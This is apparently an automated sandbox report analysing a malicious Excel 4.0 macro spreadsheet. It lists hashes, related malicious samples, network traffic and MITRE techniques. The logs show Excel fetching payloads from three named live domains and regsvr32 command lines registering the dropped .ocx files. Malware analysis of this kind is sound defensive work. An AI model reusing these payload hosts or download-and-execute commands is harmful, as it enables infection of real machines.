	New Order778880.exe	Get hash	malicious	Browse	192.185.167.112
	IyRUJT27dd.exe	Get hash	malicious	Browse	192.185.113.96
	LlDlHiVEJQ.exe	Get hash	malicious	Browse	162.241.24.173
	bomba.arm	Get hash	malicious	Browse	162.144.165.114
	PAYMENT COPY FOR YOUR INFORMATION $76,956.exe	Get hash	malicious	Browse	192.185.129.69
	Balance.xls	Get hash	malicious	Browse	192.185.113.96
	EDYMAN ORDER.vbs	Get hash	malicious	Browse	162.241.148.206
UNIFIEDLAYER-AS-1US	QUOTATION REQUEST DOCUMENTS - GOTO TRADING.exe	Get hash	malicious	Browse	162.240.9.164
	SecuriteInfo.com.VHO.Trojan-PSW.MSIL.Stealer.gen.30557.exe	Get hash	malicious	Browse	192.185.84.191
	Swift Copy TT.doc	Get hash	malicious	Browse	50.116.86.94
	8M5ZqXSa28.exe	Get hash	malicious	Browse	192.185.129.44
	Change Order - Draw #3 .htm	Get hash	malicious	Browse	162.214.66.227
	new-1834138397.xls	Get hash	malicious	Browse	108.179.253.213
	new-1834138397.xls	Get hash	malicious	Browse	108.179.253.213
	new-1179494065.xls	Get hash	malicious	Browse	108.179.253.213
	Hsbc swift.exe	Get hash	malicious	Browse	192.232.249.14
	new-1179494065.xls	Get hash	malicious	Browse	108.179.253.213
	microcomputer Official Order.exe	Get hash	malicious	Browse	192.185.84.191
	Arrival Notice, CIA Awb Inv Form.pdf.exe	Get hash	malicious	Browse	70.40.220.123
	t 2021.HtML	Get hash	malicious	Browse	192.185.129.43
	New Order778880.exe	Get hash	malicious	Browse	192.185.167.112
	IyRUJT27dd.exe	Get hash	malicious	Browse	192.185.113.96
	LlDlHiVEJQ.exe	Get hash	malicious	Browse	162.241.24.173
	bomba.arm	Get hash	malicious	Browse	162.144.165.114
	PAYMENT COPY FOR YOUR INFORMATION $76,956.exe	Get hash	malicious	Browse	192.185.129.69
	Balance.xls	Get hash	malicious	Browse	192.185.113.96
	EDYMAN ORDER.vbs	Get hash	malicious	Browse	162.241.148.206

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
7dcce5b76c8b17472d024758970a406b	6docs'pdf.ppam	Get hash	malicious	Browse	192.185.129.7 103.247.11.218 192.185.79.2
	PO201808143_330542IMG_20200710_0008.rtf	Get hash	malicious	Browse	192.185.129.7 103.247.11.218 192.185.79.2
	Order Contract_signed (4NQ39NGAY0GD).ppam	Get hash	malicious	Browse	192.185.129.7 103.247.11.218 192.185.79.2
	new-1834138397.xls	Get hash	malicious	Browse	192.185.129.7 103.247.11.218 192.185.79.2
	new-1179494065.xls	Get hash	malicious	Browse	192.185.129.7 103.247.11.218 192.185.79.2
	TT-PRIME USD242,357,59.ppam	Get hash	malicious	Browse	192.185.129.7 103.247.11.218 192.185.79.2
	TT-PRIME USD242,357,59.ppam	Get hash	malicious	Browse	192.185.129.7 103.247.11.218 192.185.79.2
	chase.xls	Get hash	malicious	Browse	192.185.129.7 103.247.11.218 192.185.79.2
	private-1915056036.xls	Get hash	malicious	Browse	192.185.129.7 103.247.11.218 192.185.79.2
	private-1910485378.xls	Get hash	malicious	Browse	192.185.129.7 103.247.11.218 192.185.79.2
	INVOICE - FIRST 2 CONTAINERS 1110.docx	Get hash	malicious	Browse	192.185.129.7 103.247.11.218 192.185.79.2
	SWIFT-MT-103.docx	Get hash	malicious	Browse	192.185.129.7 103.247.11.218 192.185.79.2
	Balance.xls	Get hash	malicious	Browse	192.185.129.7 103.247.11.218 192.185.79.2
	original shipping documents.ppam	Get hash	malicious	Browse	192.185.129.7 103.247.11.218 192.185.79.2
	INVOICE - FIRST 2 CONTAINERS 1110.docx	Get hash	malicious	Browse	192.185.129.7 103.247.11.218 192.185.79.2
	PO 16860.ppam	Get hash	malicious	Browse	192.185.129.7 103.247.11.218 192.185.79.2
	PI-#U00dcRN.Z#U00dcCC.LTD #U015eT.docx	Get hash	malicious	Browse	192.185.129.7 103.247.11.218 192.185.79.2
	Clti.xlsx	Get hash	malicious	Browse	192.185.129.7 103.247.11.218 192.185.79.2
	Vernon.xlsx	Get hash	malicious	Browse	192.185.129.7 103.247.11.218 192.185.79.2
	new order.docx	Get hash	malicious	Browse	192.185.129.7 103.247.11.218 192.185.79.2

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Temp\A5B1.tmp Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	1536
Entropy (8bit):	1.1464700112623651
Encrypted:	false
SSDEEP:	3:YmsalTlLPltl2N81HRQjlORGt7RQ//W1XR9//3R9//3R9//:rl912N0xs+CFQXCB9Xh9Xh9X
MD5:	72F5C05B7EA8DD6059BF59F50B22DF33
SHA1:	D5AF52E129E15E3A34772806F6C5FBF132E7408E
SHA-256:	1DC0C8D7304C177AD0E74D3D2F1002EB773F4B180685A7DF6BBE75CCC24B0164
SHA-512:	6FF1E2E6B99BD0A4ED7CA8A9E943551BCD73A0BEFCACE6F1B1106E88595C0846C9BB76CA99A33266FFEC2440CF6A440090F803ABBF28B208A6C7BC6310BEB39E
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DF6B851E0CDFC5B426.TMP Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	3.309727213192086
Encrypted:	false
SSDEEP:	768:5kmKpb8rGYrMPe3q7Q0XV5xtezEs/68/dgAWuImuZA:5TKpb8rGYrMPe3q7Q0XV5xtezEsi8/d1
MD5:	321156BB89EBDBE9CAEC80FB2A150C47
SHA1:	075C7AF142F023726A0A6246AF33B934C30DB540
SHA-256:	CB714098CBB73CAB579390D9EF687D1B260B30A6303C4BAFB77D8DBCB0E8BC4E
SHA-512:	CA544DDA2062EFB3FE75D55EF85288C989F323BC2935C2574EE3C0CD0C6F10045334A71A99FB723E62949B15B95FDDCA041DC025745C0A13111A5D93DF8620D0
Malicious:	false
Reputation:	low
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DFC61FD91824AB246B.TMP Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Reputation:	high, very likely benign file
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\survey-1378794827.xls Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1251, Name of Creating Application: Microsoft Excel, Create Time/Date: Fri Jun 5 19:19:34 2015, Last Saved Time/Date: Thu Nov 25 10:07:14 2021, Security: 0
Category:	dropped
Size (bytes):	252928
Entropy (8bit):	7.241408030327115
Encrypted:	false
SSDEEP:	6144:MKpb8rGYrMPe3q7Q0XV5xtuEsi8/dgBcfFw6lxFT7kFWqOSMQ6HujLmH98DU1:kFrlxFTMrvbiFd8Dc
MD5:	F1BEF76841BECEE221944D0C436BE0E5
SHA1:	9C37635EECCBA5F2D2088F4600D17013A9B38879
SHA-256:	8B0F987444368354AB0A9BE324FE8EFB3E700CCE52F8F059D78F63196D0601BA
SHA-512:	DF2A7C551780D074DD84E9A68FD0B41A6C909C3577CC628BA7FFCACD1E42A0CFE911EB0765962D9DD2597EB90226C908A505CC74834698A18EB1C40DAA98C85A
Malicious:	true
Yara Hits:	Rule: SUSP_Excel4Macro_AutoOpen, Description: Detects Excel4 macro use with auto open / close, Source: C:\Users\user\Desktop\survey-1378794827.xls, Author: John Lambert @JohnLaTwC Rule: JoeSecurity_HiddenMacro, Description: Yara detected hidden Macro 4.0 in Excel, Source: C:\Users\user\Desktop\survey-1378794827.xls, Author: Joe Security
Reputation:	low
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................ZO..........................\.p....user.8.=. B.....a.........=...................................................................=........Ve18.......X.@...........".......................1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.

Static File Info

General
File type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1251, Name of Creating Application: Microsoft Excel, Create Time/Date: Fri Jun 5 19:19:34 2015, Last Saved Time/Date: Thu Nov 25 10:07:14 2021, Security: 0
Entropy (8bit):	7.241391186014771
TrID:	Microsoft Excel sheet (30009/1) 78.94% Generic OLE2 / Multistream Compound File (8008/1) 21.06%
File name:	survey-1378794827.xls
File size:	252928
MD5:	7858cdbf85a5751a0853620c8908df14
SHA1:	8200d0104d40b68f9e523a1331dd77a8d36a827f
SHA256:	37ec1209daa15ba2bb2a9d9c372960703125e0b0acfa0736cb2ae10edfad7d62
SHA512:	4d98475950db17d064586704b0e28202a8d46d7cd6ae824e1de0941a0e6076e6e2f9ae3dc8a5cba30244fe05c31d77225ff0c4ab248b68e351fe2043af7626ab
SSDEEP:	6144:MKpb8rGYrMPe3q7Q0XV5xtuEsi8/dgBcfFw6lxFT7kFWqOSMQ6HujLmH98DUm:kFrlxFTMrvbiFd8DH
File Content Preview:	........................>......................................................................................................................................................................................................................................

File Icon


Icon Hash:	e4eea286a4b4bcb4

Static OLE Info

General
Document Type:	OLE
Number of OLE Files:	1

OLE File "survey-1378794827.xls"

Indicators
Has Summary Info:	True
Application Name:	Microsoft Excel
Encrypted Document:	False
Contains Word Document Stream:	False
Contains Workbook/Book Stream:	True
Contains PowerPoint Document Stream:	False
Contains Visio Document Stream:	False
Contains ObjectPool Stream:
Flash Objects Count:
Contains VBA Macros:	True

Summary
Code Page:	1251
Author:
Last Saved By:
Create Time:	2015-06-05 18:19:34
Last Saved Time:	2021-11-25 10:07:14
Creating Application:	Microsoft Excel
Security:	0

Document Summary
Document Code Page:	1251
Thumbnail Scaling Desired:	False
Company:
Contains Dirty Links:	False
Shared Document:	False
Changed Hyperlinks:	False
Application Version:	1048576

Streams

Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 4096

General
Stream Path:	\x5DocumentSummaryInformation
File Type:	data
Stream Size:	4096
Entropy:	0.490967081883
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , . . 0 . . . \\ . . . . . . . . . . . P . . . . . . . X . . . . . . . d . . . . . . . l . . . . . . . t . . . . . . . \| . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . S i m b 1 . . . . . S h e e t . . . . . S b u r r 8 . . . . . S b u u r 2 . . . . . R g e d w g . . . . . E O R
Data Raw:	fe ff 00 00 0a 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 5c 01 00 00 09 00 00 00 01 00 00 00 50 00 00 00 0f 00 00 00 58 00 00 00 17 00 00 00 64 00 00 00 0b 00 00 00 6c 00 00 00 10 00 00 00 74 00 00 00 13 00 00 00 7c 00 00 00 16 00 00 00 84 00 00 00 0d 00 00 00 8c 00 00 00 0c 00 00 00 1a 01 00 00

Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 4096

General
Stream Path:	\x5SummaryInformation
File Type:	data
Stream Size:	4096
Entropy:	0.27571260507
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . O h . . . . . + ' . . 0 . . . . . . . . . . . . . . . @ . . . . . . . H . . . . . . . X . . . . . . . h . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M i c r o s o f t E x c e l . @ . . . . ? R , . . . . @ . . . . . . 8 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	fe ff 00 00 0a 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 a0 00 00 00 07 00 00 00 01 00 00 00 40 00 00 00 04 00 00 00 48 00 00 00 08 00 00 00 58 00 00 00 12 00 00 00 68 00 00 00 0c 00 00 00 80 00 00 00 0d 00 00 00 8c 00 00 00 13 00 00 00 98 00 00 00 02 00 00 00 e3 04 00 00 1e 00 00 00 08 00 00 00

Stream Path: Workbook, File Type: Applesoft BASIC program data, first line number 16, Stream Size: 241509

General
Stream Path:	Workbook
File Type:	Applesoft BASIC program data, first line number 16
Stream Size:	241509
Entropy:	7.42266783191
Base64 Encoded:	True
Data ASCII:	. . . . . . . . Z O . . . . . . . . . . . . . . . . . . . . . . . . . . \\ . p . . . . . . 4 . < . 8 . = . B . . . . . a . . . . . . . . . = . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . = . . . . . . . . V e 1 8 . . . . . . .
Data Raw:	09 08 10 00 00 06 05 00 5a 4f cd 07 c9 00 02 00 06 08 00 00 e1 00 02 00 b0 04 c1 00 02 00 00 00 e2 00 00 00 5c 00 70 00 05 00 01 10 04 34 04 3c 04 38 04 3d 04 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20

Macro 4.0 Code

12,2,=CHAR(Simb1!D25)

6,7,=CHAR(Simb1!J25)

10,5,=CHAR(Simb1!R27)

6,3,=CHAR(Simb1!S32)

11,2,=CHAR(Simb1!E31)

4,5,=CHAR(Simb1!G26)

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 25, 2021 14:26:44.427889109 CET	49165	443	192.168.2.22	192.185.79.2
Nov 25, 2021 14:26:44.427944899 CET	443	49165	192.185.79.2	192.168.2.22
Nov 25, 2021 14:26:44.428015947 CET	49165	443	192.168.2.22	192.185.79.2
Nov 25, 2021 14:26:44.438564062 CET	49165	443	192.168.2.22	192.185.79.2
Nov 25, 2021 14:26:44.438596010 CET	443	49165	192.185.79.2	192.168.2.22
Nov 25, 2021 14:26:44.734230995 CET	443	49165	192.185.79.2	192.168.2.22
Nov 25, 2021 14:26:44.734426975 CET	49165	443	192.168.2.22	192.185.79.2
Nov 25, 2021 14:26:44.748606920 CET	49165	443	192.168.2.22	192.185.79.2
Nov 25, 2021 14:26:44.748645067 CET	443	49165	192.185.79.2	192.168.2.22
Nov 25, 2021 14:26:44.749151945 CET	443	49165	192.185.79.2	192.168.2.22
Nov 25, 2021 14:26:44.749257088 CET	49165	443	192.168.2.22	192.185.79.2
Nov 25, 2021 14:26:44.982146978 CET	49165	443	192.168.2.22	192.185.79.2
Nov 25, 2021 14:26:45.024884939 CET	443	49165	192.185.79.2	192.168.2.22
Nov 25, 2021 14:26:46.221467018 CET	443	49165	192.185.79.2	192.168.2.22
Nov 25, 2021 14:26:46.221635103 CET	49165	443	192.168.2.22	192.185.79.2
Nov 25, 2021 14:26:46.221985102 CET	443	49165	192.185.79.2	192.168.2.22
Nov 25, 2021 14:26:46.222049952 CET	49165	443	192.168.2.22	192.185.79.2
Nov 25, 2021 14:26:46.222049952 CET	443	49165	192.185.79.2	192.168.2.22
Nov 25, 2021 14:26:46.222091913 CET	49165	443	192.168.2.22	192.185.79.2
Nov 25, 2021 14:26:46.268558979 CET	49166	443	192.168.2.22	192.185.129.7
Nov 25, 2021 14:26:46.268594980 CET	443	49166	192.185.129.7	192.168.2.22
Nov 25, 2021 14:26:46.268657923 CET	49166	443	192.168.2.22	192.185.129.7
Nov 25, 2021 14:26:46.269254923 CET	49166	443	192.168.2.22	192.185.129.7
Nov 25, 2021 14:26:46.269267082 CET	443	49166	192.185.129.7	192.168.2.22
Nov 25, 2021 14:26:46.568352938 CET	443	49166	192.185.129.7	192.168.2.22
Nov 25, 2021 14:26:46.568511963 CET	49166	443	192.168.2.22	192.185.129.7
Nov 25, 2021 14:26:46.581381083 CET	49166	443	192.168.2.22	192.185.129.7
Nov 25, 2021 14:26:46.581402063 CET	443	49166	192.185.129.7	192.168.2.22
Nov 25, 2021 14:26:46.581700087 CET	443	49166	192.185.129.7	192.168.2.22
Nov 25, 2021 14:26:46.581758022 CET	49166	443	192.168.2.22	192.185.129.7
Nov 25, 2021 14:26:46.598054886 CET	49166	443	192.168.2.22	192.185.129.7
Nov 25, 2021 14:26:46.640871048 CET	443	49166	192.185.129.7	192.168.2.22
Nov 25, 2021 14:26:46.869261980 CET	443	49166	192.185.129.7	192.168.2.22
Nov 25, 2021 14:26:46.869345903 CET	49166	443	192.168.2.22	192.185.129.7
Nov 25, 2021 14:26:46.869379044 CET	443	49166	192.185.129.7	192.168.2.22
Nov 25, 2021 14:26:46.869404078 CET	443	49166	192.185.129.7	192.168.2.22
Nov 25, 2021 14:26:46.869435072 CET	49166	443	192.168.2.22	192.185.129.7
Nov 25, 2021 14:26:46.869450092 CET	49166	443	192.168.2.22	192.185.129.7
Nov 25, 2021 14:26:46.869550943 CET	49166	443	192.168.2.22	192.185.129.7
Nov 25, 2021 14:26:46.869570017 CET	443	49166	192.185.129.7	192.168.2.22
Nov 25, 2021 14:26:46.869585991 CET	49166	443	192.168.2.22	192.185.129.7
Nov 25, 2021 14:26:46.869609118 CET	49166	443	192.168.2.22	192.185.129.7
Nov 25, 2021 14:26:47.021784067 CET	49167	443	192.168.2.22	103.247.11.218
Nov 25, 2021 14:26:47.021836996 CET	443	49167	103.247.11.218	192.168.2.22
Nov 25, 2021 14:26:47.021909952 CET	49167	443	192.168.2.22	103.247.11.218
Nov 25, 2021 14:26:47.022588968 CET	49167	443	192.168.2.22	103.247.11.218
Nov 25, 2021 14:26:47.022603989 CET	443	49167	103.247.11.218	192.168.2.22
Nov 25, 2021 14:26:47.672051907 CET	443	49167	103.247.11.218	192.168.2.22
Nov 25, 2021 14:26:47.672251940 CET	49167	443	192.168.2.22	103.247.11.218
Nov 25, 2021 14:26:47.686055899 CET	49167	443	192.168.2.22	103.247.11.218
Nov 25, 2021 14:26:47.686091900 CET	443	49167	103.247.11.218	192.168.2.22
Nov 25, 2021 14:26:47.686393976 CET	443	49167	103.247.11.218	192.168.2.22
Nov 25, 2021 14:26:47.686475039 CET	49167	443	192.168.2.22	103.247.11.218
Nov 25, 2021 14:26:47.690493107 CET	49167	443	192.168.2.22	103.247.11.218
Nov 25, 2021 14:26:47.736875057 CET	443	49167	103.247.11.218	192.168.2.22
Nov 25, 2021 14:26:49.844567060 CET	443	49167	103.247.11.218	192.168.2.22
Nov 25, 2021 14:26:49.844643116 CET	443	49167	103.247.11.218	192.168.2.22
Nov 25, 2021 14:26:49.844774008 CET	49167	443	192.168.2.22	103.247.11.218
Nov 25, 2021 14:26:49.844924927 CET	49167	443	192.168.2.22	103.247.11.218
Nov 25, 2021 14:26:49.844949961 CET	443	49167	103.247.11.218	192.168.2.22
Nov 25, 2021 14:26:49.844969988 CET	49167	443	192.168.2.22	103.247.11.218
Nov 25, 2021 14:26:49.845027924 CET	49167	443	192.168.2.22	103.247.11.218
Nov 25, 2021 14:28:44.543679953 CET	49165	443	192.168.2.22	192.185.79.2
Nov 25, 2021 14:28:44.543730021 CET	49165	443	192.168.2.22	192.185.79.2

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 25, 2021 14:26:44.261925936 CET	52167	53	192.168.2.22	8.8.8.8
Nov 25, 2021 14:26:44.414885044 CET	53	52167	8.8.8.8	192.168.2.22
Nov 25, 2021 14:26:46.245194912 CET	50591	53	192.168.2.22	8.8.8.8
Nov 25, 2021 14:26:46.266122103 CET	53	50591	8.8.8.8	192.168.2.22
Nov 25, 2021 14:26:46.887814999 CET	57805	53	192.168.2.22	8.8.8.8
Nov 25, 2021 14:26:47.019310951 CET	53	57805	8.8.8.8	192.168.2.22

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Nov 25, 2021 14:26:44.261925936 CET	192.168.2.22	8.8.8.8	0xdcaf	Standard query (0)	klevvrtech.com	A (IP address)	IN (0x0001)
Nov 25, 2021 14:26:46.245194912 CET	192.168.2.22	8.8.8.8	0x4801	Standard query (0)	srkcampus.org	A (IP address)	IN (0x0001)
Nov 25, 2021 14:26:46.887814999 CET	192.168.2.22	8.8.8.8	0x8c3d	Standard query (0)	rstebet.co.id	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class
Nov 25, 2021 14:26:44.414885044 CET	8.8.8.8	192.168.2.22	0xdcaf	No error (0)	klevvrtech.com	192.185.79.2	A (IP address)	IN (0x0001)
Nov 25, 2021 14:26:46.266122103 CET	8.8.8.8	192.168.2.22	0x4801	No error (0)	srkcampus.org	192.185.129.7	A (IP address)	IN (0x0001)
Nov 25, 2021 14:26:47.019310951 CET	8.8.8.8	192.168.2.22	0x8c3d	No error (0)	rstebet.co.id	103.247.11.218	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

klevvrtech.com

srkcampus.org

rstebet.co.id

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.22	49165	192.185.79.2	443	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	kBytes transferred	Direction	Data
2021-11-25 13:26:44 UTC	0	OUT	GET /zxywJAC24KJ/ji.html HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: klevvrtech.com Connection: Keep-Alive
2021-11-25 13:26:46 UTC	0	IN	HTTP/1.1 200 OK Date: Thu, 25 Nov 2021 13:26:45 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Accept-Ranges: none Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.22	49166	192.185.129.7	443	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	kBytes transferred	Direction	Data
2021-11-25 13:26:46 UTC	0	OUT	GET /OYcMRJbL/ji.html HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: srkcampus.org Connection: Keep-Alive
2021-11-25 13:26:46 UTC	0	IN	HTTP/1.1 200 OK Date: Thu, 25 Nov 2021 13:26:46 GMT Server: nginx/1.19.10 Content-Type: text/html; charset=UTF-8 Content-Length: 0 X-Server-Cache: true X-Proxy-Cache: HIT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.22	49167	103.247.11.218	443	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	kBytes transferred	Direction	Data
2021-11-25 13:26:47 UTC	1	OUT	GET /fbmKk6n48G/ji.html HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: rstebet.co.id Connection: Keep-Alive
2021-11-25 13:26:49 UTC	1	IN	HTTP/1.1 200 OK Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 0 Date: Thu, 25 Nov 2021 13:26:49 GMT Server: LiteSpeed Alt-Svc: quic=":443"; ma=2592000; v="43,46", h3-Q043=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-25=":443"; ma=2592000, h3-27=":443"; ma=2592000

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: EXCEL.EXE PID: 1256 Parent PID: 596

General

Start time:	14:26:20
Start date:	25/11/2021
Path:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Imagebase:	0x13f470000
File size:	28253536 bytes
MD5 hash:	D53B85E21886D2AF9815C377537BCAC3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: regsvr32.exe PID: 2788 Parent PID: 1256

General

Start time:	14:26:31
Start date:	25/11/2021
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\regsvr32.exe" C:\Datop\besta.ocx
Imagebase:	0xff9d0000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: regsvr32.exe PID: 1452 Parent PID: 1256

General

Start time:	14:26:31
Start date:	25/11/2021
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\regsvr32.exe" C:\Datop\bestb.ocx
Imagebase:	0xff9d0000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: regsvr32.exe PID: 1188 Parent PID: 1256

General

Start time:	14:26:32
Start date:	25/11/2021
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\regsvr32.exe" C:\Datop\bestc.ocx
Imagebase:	0xff9d0000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Disassembly

Code Analysis

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

